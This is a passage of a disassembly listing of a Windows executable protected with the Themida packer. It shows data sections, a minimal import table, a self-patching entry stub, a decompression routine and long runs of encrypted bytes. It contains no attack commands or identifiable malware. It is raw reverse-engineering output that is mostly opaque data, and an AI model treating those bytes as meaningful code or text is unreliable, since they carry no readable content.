sub_4246FC:loc_424773r ; sub_42495A+78r ... word_4D99E4 dw 0 ; DATA XREF: sub_42495A+67r word_4D99E6 dw 0 ; DATA XREF: sub_42495A+70r ; sub_42495A:loc_4249DEr word_4D99E8 dw 0 ; DATA XREF: sub_42495A+5Dr word_4D99EA dw 0 ; DATA XREF: sub_42495A+55r word_4D99EC dw 0 ; DATA XREF: sub_42495A+4Dr word_4D99EE dw 0 ; DATA XREF: sub_42495A+3Er dword_4D99F0 dd 0 ; DATA XREF: sub_4246FC+80r dword_4D99F4 dd 0 ; DATA XREF: sub_4246FC+132r ; sub_4246FC:loc_424848r ... dword_4D99F8 dd 0 ; DATA XREF: sub_4246E7r sub_4246E7+Ew dword_4D99FC dd 0 ; DATA XREF: sub_424C88+3r ; sub_424C88+2Ew ... dword_4D9A00 dd 0 ; DATA XREF: sub_424C88+43w ; sub_424C88:loc_424CD7r dword_4D9A04 dd 0 ; DATA XREF: sub_424C88+4Aw ; sub_424C88+60r dword_4D9A08 dd 0 ; DATA XREF: sub_42393B+3Fr dword_4D9A0C dd 0 ; DATA XREF: sub_425831:loc_425898r ; sub_425831+6Do dword_4D9A10 dd 0 ; DATA XREF: sub_425831:loc_42586Fr ; sub_425831+44o dword_4D9A14 dd 0 ; DATA XREF: sub_425831:loc_425862r ; sub_425831+37o dword_4D9A18 dd 0 ; DATA XREF: sub_425831:loc_42587Cr ; sub_425831+51o align 10h dword_4D9A20 dd 0 ; DATA XREF: sub_425DDF+28r ; sub_425DDF+48w ... dword_4D9A24 dd 0 ; DATA XREF: sub_4268F1+28r ; sub_4268F1+4Cw ... dword_4D9A28 dd 0 ; DATA XREF: sub_426B7C+26r ; sub_426B7C:loc_426BE6w byte_4D9A2C db 0 ; DATA XREF: sub_40DB2Dr sub_40DB2D+9w align 10h dword_4D9A30 dd 2434968h ; DATA XREF: sub_41E390:loc_41E3A1r ; sub_41F3D2+14r ... align 10h dword_4D9A40 dd 400h dup(0) ; DATA XREF: ___:off_43AD78o ; ___:0043AD80o dword_4DAA40 dd 200h ; DATA XREF: sub_41E390+9r ; sub_41E390+56r ... dd 7 dup(0) dword_4DAA60 dd 28D0EF0h ; DATA XREF: sub_41EF78+75r ; sub_41F051+2Ar ... dword_4DAA64 dd 3Fh dup(0) ; DATA XREF: ___:0042329Co dword_4DAB60 dd 20h ; DATA XREF: sub_41E212+8r ; sub_41F051+Cr ... dword_4DAB64 dd 4E4h ; DATA XREF: sub_41FDDE+14r ; sub_41FDDE+65w ... align 10h dword_4DAB70 dd 3 dup(0) ; DATA XREF: sub_41FDDE+123o ; sub_41FDDE+171o ... dword_4DAB7C dd 0 ; DATA XREF: sub_41FDDE+108w ; sub_41FDDE+15Dw ... byte_4DAB80 db 0 ; DATA XREF: sub_42001D:loc_420129w ; sub_42001D:loc_420146w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DAC80 db 0 ; DATA XREF: sub_41FDDE+5Co ; sub_41FDDE+AFo ... byte_4DAC81 db 0 ; DATA XREF: sub_41C151+5Dr ; sub_41FDDE+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DAD84 dd 0 ; DATA XREF: sub_41FDDE+6Ew ; sub_41FDDE+12Bw ... dword_4DAD88 dd 10h ; DATA XREF: sub_41EAD6+5r ; sub_41EAD6+32w dword_4DAD8C dd 0 ; DATA XREF: sub_41E4A2+239r ; sub_41E4A2+259r ... dword_4DAD90 dd 2430650h ; DATA XREF: sub_41E4A2+310w ; sub_41E7CD:loc_41E81Dr ... dword_4DAD94 dd 0 ; DATA XREF: sub_41E4A2+22Cr ; sub_41E4A2+25Fr ... dword_4DAD98 dd 1 ; DATA XREF: sub_41E477r ; sub_41E4A2+2CAr ... dword_4DAD9C dd 2430650h ; DATA XREF: sub_41E477+8r ; sub_41E4A2+2CFr ... dword_4DADA0 dd 2430000h ; DATA XREF: sub_41BA31+21r ; sub_41BB48+A9r ... dword_4DADA4 dd 142340h ; DATA XREF: ___:00422D89r ; ___:00422EB4r dword_4DADA8 dd 1 ; DATA XREF: ___:00422E7Fw sub_4259A3r dword_4DADAC dd 1 ; DATA XREF: sub_4201A2r ; sub_4201A2+11w ... dword_4DADB0 dd 28D0E60h ; DATA XREF: sub_41BF53+3Er ; sub_41D743+13r ... dword_4DADB4 dd 28D0E60h ; DATA XREF: sub_41BF53+35r ; sub_41BF53+57r ... dd 92h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DC000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DC000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DC000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DD000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DD000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DD000h a7icwCw db '7╗Гw╣\Гw',0 align 4 dd 77345219h, 4 dup(0) dd 0DD050h, 0DD000h, 3 dup(0) dd 0DD079h, 0DD00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000DE000) ; Virtual size : 000E2000 ( 925696.) ; Section size in file : 000E2000 ( 925696.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4DE000h dd 0EBC71C04h, 4E425h, 5400Ah, 93172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004DE265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053C6AA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053FA8F SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0053FD05 SIZE 000000EA BYTES ; FUNCTION CHUNK AT 0053FE25 SIZE 00000016 BYTES mov eax, 0 pusha or eax, eax jz short loc_4DE086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4DE041 popa jmp short loc_4DE076 ; --------------------------------------------------------------------------- a7rm db 'ш-7ЮM',0 db 0FFh dd 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4DE041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4DE04E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4DE06D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4DE074 loc_4DE06D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4DE04E ; --------------------------------------------------------------------------- loc_4DE074: ; CODE XREF: start+57j mov edi, eax loc_4DE076: ; CODE XREF: start+1Bj jmp loc_4DE265 ; --------------------------------------------------------------------------- db 3 aJt db 'г╧jБ',0Dh,0 dw 0CF03h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4DE086: ; CODE XREF: start+8j mov eax, offset loc_53C6AA mov ecx, offset word_4DE26A push eax push ecx call sub_4DE11B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4DE265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4DE11B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4DE127: ; CODE XREF: sub_4DE11B:loc_4DE13Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4DE132: ; CODE XREF: sub_4DE11B+7Aj ; sub_4DE11B+C3j ... add dl, dl jnz short loc_4DE13B mov dl, [esi] inc esi adc dl, dl loc_4DE13B: ; CODE XREF: sub_4DE11B+19j jnb short loc_4DE127 add dl, dl jnz short loc_4DE146 mov dl, [esi] inc esi adc dl, dl loc_4DE146: ; CODE XREF: sub_4DE11B+24j jnb short loc_4DE197 xor eax, eax add dl, dl jnz short loc_4DE153 mov dl, [esi] inc esi adc dl, dl loc_4DE153: ; CODE XREF: sub_4DE11B+31j jnb loc_4DE238 add dl, dl jnz short loc_4DE162 mov dl, [esi] inc esi adc dl, dl loc_4DE162: ; CODE XREF: sub_4DE11B+40j adc eax, eax add dl, dl jnz short loc_4DE16D mov dl, [esi] inc esi adc dl, dl loc_4DE16D: ; CODE XREF: sub_4DE11B+4Bj adc eax, eax add dl, dl jnz short loc_4DE178 mov dl, [esi] inc esi adc dl, dl loc_4DE178: ; CODE XREF: sub_4DE11B+56j adc eax, eax add dl, dl jnz short loc_4DE183 mov dl, [esi] inc esi adc dl, dl loc_4DE183: ; CODE XREF: sub_4DE11B+61j adc eax, eax jz short loc_4DE18D push edi sub edi, eax mov al, [edi] pop edi loc_4DE18D: ; CODE XREF: sub_4DE11B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE197: ; CODE XREF: sub_4DE11B:loc_4DE146j mov eax, 1 loc_4DE19C: ; CODE XREF: sub_4DE11B:loc_4DE1B0j add dl, dl jnz short loc_4DE1A5 mov dl, [esi] inc esi adc dl, dl loc_4DE1A5: ; CODE XREF: sub_4DE11B+83j adc eax, eax add dl, dl jnz short loc_4DE1B0 mov dl, [esi] inc esi adc dl, dl loc_4DE1B0: ; CODE XREF: sub_4DE11B+8Ej jb short loc_4DE19C sub eax, ebx mov ebx, 1 jnz short loc_4DE1E3 mov ecx, 1 loc_4DE1C0: ; CODE XREF: sub_4DE11B:loc_4DE1D4j add dl, dl jnz short loc_4DE1C9 mov dl, [esi] inc esi adc dl, dl loc_4DE1C9: ; CODE XREF: sub_4DE11B+A7j adc ecx, ecx add dl, dl jnz short loc_4DE1D4 mov dl, [esi] inc esi adc dl, dl loc_4DE1D4: ; CODE XREF: sub_4DE11B+B2j jb short loc_4DE1C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE1E3: ; CODE XREF: sub_4DE11B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4DE1F1: ; CODE XREF: sub_4DE11B:loc_4DE205j add dl, dl jnz short loc_4DE1FA mov dl, [esi] inc esi adc dl, dl loc_4DE1FA: ; CODE XREF: sub_4DE11B+D8j adc ecx, ecx add dl, dl jnz short loc_4DE205 mov dl, [esi] inc esi adc dl, dl loc_4DE205: ; CODE XREF: sub_4DE11B+E3j jb short loc_4DE1F1 cmp eax, 7D00h jnb short loc_4DE228 cmp eax, 500h jb short loc_4DE223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE223: ; CODE XREF: sub_4DE11B+F8j cmp eax, 7Fh ja short loc_4DE22B loc_4DE228: ; CODE XREF: sub_4DE11B+F1j add ecx, 2 loc_4DE22B: ; CODE XREF: sub_4DE11B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE238: ; CODE XREF: sub_4DE11B:loc_4DE153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4DE259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE259: ; CODE XREF: sub_4DE11B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4DE11B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4DE265: ; CODE XREF: start:loc_4DE076j ; start+9Dj jmp loc_53C6AA ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4DE26A dw 38E9h ; DATA XREF: start+77o dd 15233E0h, 8B98FCEFh, 0F3FF6B84h, 0F16B8401h, 0D85B03A8h dd 0BF0143BEh, 848B36ACh, 7DBDEF3Ah, 92BCAE84h, 0FF2103DCh dd 8173579h, 685478D7h, 696D6507h, 7D086164h, 3D33445Dh dd 0E0751DC2h, 312D3430h, 0F2EF0EE1h, 0AF102E21h, 43B82223h dd 2E2FFDFFh, 2435BFF8h, 0BA886A03h, 88FB0146h, 0F738AC11h dd 7F018D54h, 73655200h, 0E6726174h, 7A707141h, 0E1787C2Eh dd 71B2BF0Fh, 0FCAA112Eh, 1CC5728Bh, 22E860D4h, 0ED815D00h dd 64433EFh, 29951989h, 0C5B50D09h, 9185102Bh, 0BD83801Ah dd 0E013C120h, 8B0C1C74h, 0B8E289E8h, 0EFC2A169h, 2444701Ch dd 10143E77h, 0E8456A01h, 682981A3h, 783749Ah, 0A40DFE9h dd 7A894B25h, 0E9D5440Ah, 0EC021429h db 5Fh, 40h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub dword ptr [ebx], 0FFFFFFC4h fsubr st, st(6) add [edx-7Fh], ebx jmp far ptr 0C7DAh:8B0034DDh ; --------------------------------------------------------------------------- dd 8D84524h, 63400E6Ch, 7D810889h, 1D1980F3h, 8200F74h dd 0CC4783FCh, 4312FF45h, 36E1EB31h, 26BA61DCh, 4C2C90Ah dd 0C4810346h, 247FF7Ch, 35261049h, 80458D00h, 0C7085D8Bh dd 12198551h, 0A808D50h, 1888C3D1h, 0B89412Ah, 6BD8128h dd 0E3755D80h, 8D0A27A5h, 13B64BAh, 0E8A8075h, 5B24F4BBh dd 37AB03B8h, 0D0D37854h, 80E0FF3h, 0C1F7754Bh, 4647C3AFh dd 46184A49h, 0D142A8F9h, 818AAE61h, 0F6D7F0D0h, 0FC4528EEh dd 4EB284Dh, 3146F2ADh, 0F7403E80h, 0B9844DBAh, 0C7D8634h dd 433E7FEBh, 126D32F8h, 0E2A13F0h, 4A0510F4h, 4F065C1h dd 0D1F8D600h, 0E5C203E0h, 0DB332880h, 80301C8Ah, 7230FB73h dd 77390A0Ah, 0FBEBF405h, 149F22C9h, 0A0DD961h, 0BD08FD66h dd 0C33A7D1Eh, 1A10B00Ah, 0C30B7241h, 677460Ah, 188247Ah dd 0ECF0615Dh, 0CC7D83F4h, 0B06C7202h, 0DD76C00Ch, 26AA99A5h dd 1D3807F8h, 2A8A88Dh, 0FFC553Bh, 0BDA77882h, 38AA06B0h dd 8BA43F9h, 7082B983h, 6CBDFCA1h, 0FFE0036h, 75490747h dd 1722B9FAh, 1BB706Ah, 0F11D0EE1h, 2B7EB82h, 46868E60h dd 7450E38h, 360F6551h, 8A3B77D1h, 0F9E9C426h, 0F5105911h dd 670F8706h, 1A37F482h, 48FDCC40h, 2C5A0080h, 4CDEBCC3h dd 46CC3CC8h, 0F767A8F1h, 308C59C8h, 821034CBh, 5B004E39h dd 0B8100F76h, 7C043D51h, 613B76D1h, 9756446h, 8111D52Eh dd 0E4EC480Eh, 42479065h, 5C584D0h, 5996328Eh, 2A3C53CFh dd 629C204h, 8205718Ch, 0A8DD0EE7h, 812BFF98h, 22046077h dd 84C1341Dh, 7533F90Ch, 833FBC20h, 0EFB30ABBh, 9C023039h dd 8C4CEC41h, 0FCFFCC7Fh, 457F8640h, 8060E952h, 8C52C462h dd 1125044Dh, 26B1AA82h, 845A68ABh, 30564513h, 0EE825ECDh dd 2816455h, 8A2722EEh, 1310B9D5h, 43972923h, 52816B47h dd 178704E9h, 26C45A21h, 9481728Ah, 16089845h, 524221h dd 0BC6FF7C4h, 0C948E96h, 2C871028h, 0BDA326F6h, 8013E999h dd 6C3D3915h, 9F52E0h, 0E807BD5h, 0AF645B1Dh, 5491F900h dd 5CFE8BDBh, 0DA8D1D67h, 3D02D810h, 0E21F81FDh, 0B0F8C05h dd 4886C6CAh, 0A085EC1Dh, 28C675Ch, 86C8FDD9h, 84883012h dd 0DC810322h, 0D1A161C4h, 0C7E7DC83h, 34EA621Ah, 11821D21h dd 83C08119h, 4705746h, 3DD952B8h, 82000122h, 8E8CCBC4h dd 34868A58h, 23202E7Eh, 1A10F671h, 9B4318EAh, 0B62B7600h dd 5B6F3B9Bh, 0A4E0EE1Dh, 0A767FE80h, 6F3E9061h, 5F8FF6FFh dd 0F3500312h, 27F7517Eh, 0BCBAD05Bh, 0F4E36281h, 6D6116C7h dd 0B87DC06Fh, 0C8F077D1h, 0B64004Eh, 0D0F4BC8Ah, 8C004CCAh dd 59DA8107h, 5C2F182h, 10561676h, 0E0B66383h, 885CC1F8h dd 0BB067401h, 36408719h, 1829E9ECh, 281B4E43h, 169851D1h dd 0DC4C5E03h, 79034h, 84B00D9Ch, 8F1005EFh, 0C5B1B6Bh dd 0BA0B8Bh, 28E45408h, 0D093503Fh, 672AF507h, 2340992Bh dd 4C8E325h, 0F0845CF9h, 270C8202h, 0BEA23h, 0C8D3470Bh dd 0C371CE3Ah, 1ED5A81Fh, 0C11F45D8h, 95F70074h, 487EC0FCh dd 6015CBDh, 53DDEC8Eh, 10E0E5A8h, 50FCA48Dh, 184FEAh dd 5CBF5B9Ah, 512113B0h, 0F5914400h, 47B7DB89h, 0CB1D0B5Eh dd 592057EAh, 0B87EF01Eh, 0BB5B400h, 0EF77CC6Bh, 0B1EA07CDh dd 60BA750Ah, 4EBC0D42h, 3BA76A00h, 255A0BDDh, 0D7791EE7h dd 2A0ACEC6h, 0DCCFDE1h, 0E53083D0h, 34D78C0h, 0E0973111h dd 3BC8C427h, 4FF84160h, 0A20B8A00h, 7A822FB7h, 7538CFA4h dd 43867118h, 16196100h, 0D726AFCEh, 0D018C7F9h, 2F18F062h dd 0BD0033D5h, 0BB307D27h, 9B6D1h, 14A4EF01h, 79716E18h dd 0FDD7E21Bh, 4124C839h, 7C52011Fh, 304844D4h, 3580D4B0h dd 71556800h, 4F61E8BFh, 72B80056h, 4AF3C62Ah, 0D0F797DAh dd 37078789h, 5DCCF292h, 0AA69D1C0h, 0C457C77h, 1E9BB809h dd 7488F270h, 0B2A30746h, 8E2602DAh, 0D0E3CD87h, 71798B01h dd 9E3C2E02h, 0A04BD8CFh, 95E37F94h, 0FDF0EFh, 0C46AAFFh dd 0ED4DD84Ch, 104FA8A1h, 0A8CF9777h, 0C9F4D794h, 5680D471h dd 749C5423h, 17FFE200h, 0CE3099CAh, 7AFEEA7Eh, 4BD0A8CDh dd 1F5AFA21h, 835EC386h, 0C49BBC76h, 0EB35A9A1h, 0E087100Fh dd 44B88275h, 5DC1010Ch, 760880ACh, 0BF8C6302h, 0C29F00A0h dd 9123135h, 0AFABDDEh, 0E2591B00h, 391FFDA1h, 0A73A38F9h dd 42D5A200h, 8DD80D0Bh, 944B4705h, 0ECC0ABD3h, 1EEDFE2Dh dd 965EA41Eh, 4C090113h, 86B9B3FCh, 0CF695C20h, 45613A99h dd 0D58E0DF4h, 0F090C6FAh, 4C004F0Ah, 77CFC385h, 0DEDAE38h dd 0F80DF77Dh, 88208880h, 0FDC01A3h, 80072CE2h, 3E101DD9h dd 0B0C4ACh, 1369C2B3h, 33C6BA49h, 0A294A900h, 86709C1h dd 0D540C790h, 1AED40A5h, 0B3303684h, 0D6B1B025h, 0A472002Dh dd 94B756C6h, 0F20054D0h, 0F98B03B3h, 7B5BD5B9h, 0C41A1809h dd 0EB4AB98Fh, 25781500h, 0C22E40A3h, 27FD0859h, 84009675h dd 6A811A8Dh, 0DA80A8F2h, 238A0029h, 2EE07C0Ch, 22011DE9h dd 2D9303D1h, 0F888F9C2h, 0C705E105h, 24C37FA1h, 0ED100C94h dd 4F887276h, 0CE73360Ch, 6235B8CFh, 0A2CC94Bh, 0F0038CA7h dd 6694F955h, 6846CF01h, 2BCD167Ah, 2448F960h, 73775Ch dd 540BB3CEh, 3D1823EEh, 4E480DC3h, 9BA026BBh, 0ABD2027h dd 0ADF381CCh, 452F00E8h, 90680493h, 0F0A4D928h, 62F844h dd 0B22AA039h, 1B6D5377h, 2F2CC10Fh, 0EC680AA3h, 4D319028h dd 0F56AD0EFh, 2FC83980h, 0BA1CE412h, 0AB84740Fh, 0A42C80E7h dd 0A6066ACh, 35B7D55Ch, 0E4503DFBh, 8DF71875h, 0CB56489Eh dd 0D65F9118h, 200D23A0h, 0CE027A6Bh, 2CA3853Ah, 7FC10009h dd 0D100B969h, 0C7D443D5h, 5DF04Fh, 6F58A218h, 0FE8DA591h dd 1718FDB8h, 0F760F11Dh, 0C3C83EB1h, 79FCD4h, 0AB87FA82h dd 0AAA25F2h, 0DC9CA6Fh, 5EE069F8h, 794C01FAh, 7850AA88h dd 9FB8988Ah, 81AFE0C9h, 7709E0D6h, 509293E0h, 20A90F0Eh dd 88507230h, 5DE91C9Ch, 1E8E59F0h, 0A87D13h, 42969FD5h dd 0A45EA1A3h, 0A02221CFh, 1EC8D8FCh, 5CA801A7h, 3C03B9E1h dd 0CC18F90h, 71856C67h, 72B7180Dh, 2303B97Eh, 9B298163h dd 8122C2A2h, 0E468D21Ch, 2F7300DEh, 90A09BC7h, 48910704h dd 0B2377600h, 6085390Ah, 788739BBh, 0C850E2ACh, 7012B9D0h dd 0C440A1BAh, 210B121Eh, 692728FFh, 3A701D8h, 0D9A8E904h dd 0F870D1CAh, 0A00B693h, 8DD3C71Dh, 1F72BE9Ch, 9E8B4975h dd 2A0180EBh, 0B59E56DEh, 763A2E7Dh, 1A80005Fh, 0D571427Dh dd 7AEB18DBh, 84DD105Dh, 175C67Ch, 88554000h, 0D3CDEC32h dd 0D62A0009h, 0B14960F7h, 4802D974h, 0B503442Dh, 0B8C040ACh dd 31DB045Eh, 80E5A9E9h, 4F88A894h, 5DE07054h, 5AC44954h dd 80F3692Ah, 0EF00427Eh, 0E9DDB960h, 2474CDh, 7B0939D3h dd 3B8C0B7h, 8B42F52h, 0A020070Ah, 0FB99208Ch, 55339E13h dd 86C9F408h, 71BBFAF2h, 5083B412h, 0F8612C24h, 0A4F3770Ah dd 5010B409h, 5C9102A9h, 0A7F9EC04h, 9D12A090h, 0BBA104AAh dd 0C014EF5Eh, 0A6550408h, 0F9CD9F04h, 0B490B58Bh, 0C911BF25h dd 980E7F20h, 5602E5A8h, 407082DBh, 142D6F8h, 830B3959h dd 93183F0Eh, 821A430h, 54402E03h, 40AC8082h, 20CAFD8Ah dd 8C118CE5h, 4E246A2Ch, 155496E0h, 0A9268BE0h, 0A140B003h dd 1F3ECF5h, 0AB6CB351h dd 2489B068h, 90C1074h, 10AC4C07h, 9AE40028h, 0B75CB8C2h dd 56005202h, 2E611BF0h, 7C46A4E8h, 4B4E2AECh, 66D7898h dd 0EFF7F172h, 230C9082h, 0D0276745h, 96A9EC31h, 5E8933CFh dd 4DB440C5h, 0C6D05F15h, 10008AE8h, 9B084E7Fh, 91AEB84Ah dd 9E0E80ECh, 3205A66h, 7873C007h, 58F0BC7Fh, 62122D9Bh dd 9AC8C05Ch, 4543A10Ch, 7D2410FBh, 77F4BE92h, 80FE4F3Ah dd 0C0C29455h, 26730AA9h, 1B8B976h, 0DCA2E8FAh, 0C5B443BEh dd 0AA8B94Ch, 0E4931530h, 28215F17h, 2180032Ch, 0D61D6C6h dd 0D800DE15h, 0BFD18CF4h, 1C924FA9h, 0E62F7736h, 0AA5D0C04h dd 540E5191h, 5D41A146h, 9CEE33C0h, 2CDA565h, 2358C171h dd 3CC8AB5Dh, 9F6184F2h, 0F90EA939h, 23074042h, 9080C8EAh dd 3800F198h, 464E9C3Ch, 0E4D58h, 6F4BA872h, 0A6604F50h dd 0A37694A0h, 58E73E3Ah, 0FDA40308h, 1FF0E12Fh, 9CC41E0h dd 9F02E25Ch, 6C40AC37h, 3892B3C3h, 9056941Dh, 2100E7ECh dd 5B4C12B6h, 1D7D01E3h, 80997647h, 0AFE2E4B9h, 280B06E2h dd 0AF0BB44Bh, 7FE1808Ch, 916A6CD5h, 0F590FB4h, 86714460h dd 1906E753h, 0CD367AE8h, 50B71828h, 2103E97Dh, 0E7898461h dd 54208CA4h, 0F8085272h, 283FB022h, 6C608056h, 98C8EED5h dd 0A99ACF3Eh, 4D8DD45h, 6350BB0h, 41022Ch, 4C9DF120h dd 0E214D46Ch, 0ECA7D503h, 0CA8F7F2h, 3A0B5C59h, 2F443540h dd 3BDC00A1h, 0F30EBB6Fh, 0BA017A57h, 0B1CCE169h, 1074A35Bh dd 36062A5Dh, 0A1FC21E8h, 0D901C391h, 47DD2784h, 347834CFh dd 0EC7301F7h, 40287420h, 4CB8D4A9h, 52A6B20h, 0AD18200Eh dd 0CE00195h, 207CC01Fh, 30290338h, 0F32898B8h, 90D30B30h dd 402B3E8Bh, 0FF0CA414h, 40846D2Fh, 0A87871B8h, 60F47288h dd 8D24182h, 0C09AA088h, 3069D326h, 0C8B0F340h, 0AC6B01B6h dd 0B2498C9Eh, 0C93DDCBEh, 0C42AC313h, 3C086452h, 87280088h dd 0B9104FB8h, 0D0D668CCh, 487848ABh, 81012C19h, 0B4B5F47Ah dd 3F123Fh, 0E59DAC9Bh, 0AF6D80Ah, 0A2FDF284h, 8A4A4A4h dd 2C0D276Fh, 0AC60593Dh, 0D1F84029h, 10C8034Ch, 8E00F021h dd 0C38115Bh, 0EF28AC4Bh, 2E0B8CB3h, 83D5DC76h, 9249F98h dd 43B44C50h, 735B8420h, 77016C0Ch, 1445C9C4h, 8457CB69h dd 0C78E1C90h, 0B2580012h, 0EE74FC9Ch, 92EA7F09h, 8380F8CBh dd 4AB506Dh, 192028A1h, 0A1CC01E2h, 9C202EA8h, 51C200F5h dd 0E6B4B359h, 8F8080F1h, 0C9301825h, 268C30E3h, 26270638h dd 0B70560C2h, 9C427B4Bh, 50A91FFDh, 0E1786498h, 904413B6h dd 0BC50A2FFh, 0E822731Ah, 0CA3848A2h, 1772EC27h, 421C89ABh dd 941B40A0h, 88BB54C7h, 0DC4F1235h, 0FD38077Eh, 0D2D12C27h dd 8ED8200Ch, 403919C3h, 80E16A97h, 28BA8F61h, 0D5D4DBh dd 0DA36995Ch, 0FD7AE79Ah, 8B30213Ch, 8532B159h, 94D0ADDDh dd 5D4F09B3h, 5F19D4E4h, 4EBCC998h, 0C40C1004h, 734F3605h dd 0B554057Bh, 33D4C8EDh, 9C317C45h, 0F0075F1h, 8460C3FCh dd 31EA5278h, 89E075Ah, 87887943h, 8757404Ch, 8F61F41Fh dd 0ED278190h, 881C0028h, 0D4243C34h, 304D93ACh, 8EC4CCC0h dd 19F1A1C1h, 0A720209Dh, 83853D39h, 0CE237581h, 5E547AEDh dd 0B0E02230h, 5CDE03A1h, 3BEEEBD8h, 7A34C0B5h, 98B859ACh dd 8E29C462h, 0C9F04ADDh, 0C881F760h, 73C1E988h, 0A284017h dd 8CA82F4Fh, 5A6AD4FFh, 8C895CB0h, 2D6CA2AFh, 0C3089043h dd 14B8AA0Eh, 0BA7491ACh, 452D13FAh, 16A04186h, 80DC27FAh dd 0B7A28379h, 0D2824525h, 27FC0421h, 0A4444181h, 18550FF7h dd 0F07E480Fh, 0C81B250Ch, 0B08BE771h, 0F09D36h, 0A3A8F879h dd 0EF13DA01h, 0D3D0AB61h, 13D78CC2h, 18435B41h, 12DEE98Ch dd 3337740Ah, 8C00A83Ch, 0E0827556h, 9D8828BCh, 4D44498h dd 227A08EDh, 0CA1251C3h, 4880A42Ch, 0E1E2DD6h, 62E1AF0h dd 54BD849Dh, 0CDC88044h, 61187E49h, 0C3B9CE5Bh, 0CFC8C848h dd 620B4B80h, 